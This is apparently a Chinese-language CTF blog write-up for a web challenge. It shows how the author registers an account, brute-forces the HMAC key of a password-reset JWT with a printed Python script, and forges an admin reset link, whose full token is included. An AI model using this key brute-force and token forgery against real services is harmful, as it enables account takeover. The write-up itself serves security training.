276 字
1 分钟
Web-2-组合拳!

打开发现是登录页面。

尝试 admin 加随机密码无效,也没有提示用户是否存在,直接换思路。
注册账号

可以注册,但登录后显示没有权限,看来必须是 admin 账号才行。
重置密码突破口
注意到有重置密码功能,查了一下资料。


重置密码会发送带 JWT token 的链接。可以用自己注册的账号先拿到一个合法 token,然后暴力破解 JWT 的签名密钥,再伪造 admin 的重置链接。
dirsearch 扫描


暴力破解 JWT 密钥
from authlib.jose import jwtfrom authlib.jose.errors import BadSignatureErrorfrom string import ascii_letters, digitsfrom itertools import productfrom tqdm import tqdm
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiOTA5NzI3NzE1QHFxLmNvbSIsImVtYWlsIjoiOTA5NzI3NzE1QHFxLmNvbSIsInR5cGUiOjN9.Fxhwn5QJl74QAMVcYzLAXdT1tgies-IAWiXGoghWXBA"
# 忽略特殊符号,仅遍历字母和数字组合for i in tqdm(product(list(ascii_letters + digits), repeat=4), desc='attaching...'): i = "".join(i) try: jwt.decode(token, key=i) exit(f'key: {i}') except BadSignatureError: continue
伪造 Admin 重置链接
拿到密钥后,用相同密钥签发 admin 邮箱的重置 token:

构造重置链接访问:
http://node6.anna.nssctf.cn:20562/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjMsImV4cCI6MTczMjYyNjkxOH0.ff-9dF2mQvNTyYpSF0OxZ2dR_iKzvZOugtaIYH7nFQI
登录后台
成功重置 admin 密码后登录,发现资源下载器,base64 解码得到 printf("hello world"),继续分析。

总结
- JWT 暴力破解密钥
- 伪造重置密码链接
- 组合拳:注册账号 → 获取 JWT → 爆破密钥 → 伪造 admin token → 重置密码
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐









